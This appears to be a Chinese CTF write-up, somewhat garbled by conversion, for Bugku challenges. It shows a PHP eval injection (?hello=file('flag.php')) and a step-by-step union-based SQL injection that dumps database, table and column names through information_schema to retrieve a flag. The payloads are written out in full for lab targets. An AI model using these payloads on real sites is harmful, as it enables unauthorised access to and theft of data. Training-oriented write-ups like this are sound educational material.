在網頁中新建標籤頁開啟鏈結後出現以下一些php**,
下面解析這段**:
r eq
uest
這個變數
和_request這個變數和
reque
st這個
變數和_get、$_post一樣,都屬於超級全域性變數,執行時修改後者不會影響前者,修改後者不會影響前者。在這裡可以以get/post/cookies等方式把以hello為名的東西提交過來
eval函式是將字串當命令直接執行
最後一句show_source() 函式對檔案進行語法高亮顯示。
通過構造名字為hello的攻擊命令,把flag.php裡面的**以陣列形式輸出出來。
通過在url裡構造攻擊命令:?hello=file(「flag.php」)
在這裡file()函式的作用是讀取檔案,然後以陣列的形式返回
最後得到如下**塊
array(5) ; " [4]=> string(2) "?>" } <?php
include "flag.php";
$a = @$_request['hello'];
eval( "var_dump($a);");
show_source(__file__);
?>
flag
ctrl+u 檢視源**,
輸入資料發現只有當1.2.3時有效,
用hackbar在id後面加英文的單引號,發現報錯
在單引號後面加注釋符號又恢復正常,
先查字段,剛才已經知道有三個資料,直接從4開始,order by 4#,發現返回正常,改為5之後,沒有回顯,說明有四個字段,
爆庫名,id=-1』 union select 1,2,3,4
把id變為-1是因為如果id有回顯的話,我們查詢的東西就不能顯示了,所以要換乙個id沒有東西的數值
知道他們出現的位置,接下來才是真的暴庫,
id=-1』 union select 1,database(),user(),version()#
得到資料庫名skctf_flag
然後暴表名(固定格式)
id=-1』 union select 1,group_concat(table_name),user(),version() from information_schema.tables where table_schema=database()#
得到兩個表名fl4g,sc
接下來就是暴列名了
id=-1』 union select 1,group_concat(column_name),user(),version() from information_schema.columns where table_name=『fl4g』#
取得列名為skctf_flag
最後查詢資料
id=-1』 union select 1,skctf_flag,user(),version() from fl4g#
得到flag bugku
注釋:
mysql在5.0版本後新增乙個叫information_schema的虛擬資料庫,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問權 限等。利用這個,我們可以獲取表名,列名等
查詢中用到的group_concat()函式是要把查詢的內容聯合到一起方便檢視的,這樣就不需要limit 0,1乙個乙個判斷了
Bugku 成績單 有感
題目位址 因為個人是個小白,看到題目毫無頭緒。在網上搜到wp,參考著得以理解。這個題目需要手動爆破資料庫的 庫名 表名 列名 內容。庫名 用資料庫聯合查詢語句 id 1 union select 1,2,3,database 得到資料庫名字skctf flag 表名 id 1 union selec...
bugku 成績單詳解
bugku 成績單詳解 首先開啟查詢成績的頁面 當你這樣去試了之後,就會發現當輸入id 1,2,3,的時候分別有三個孩子的成績,但是當id 4的時候,成績單裡面的成績又為空了。因此我們可以猜測資料庫裡面一共是有四列的 然後在此處利用內建函式database 爆破獲取資料庫的名字。此處可以看出資料庫的...
bugku本地包含
題目鏈結 include flag.php a request hello eval var dump a show source file include flag.php include 語句包含並執行指定檔案。request hello 通過 get,post 和 cookie 傳遞引數 ev...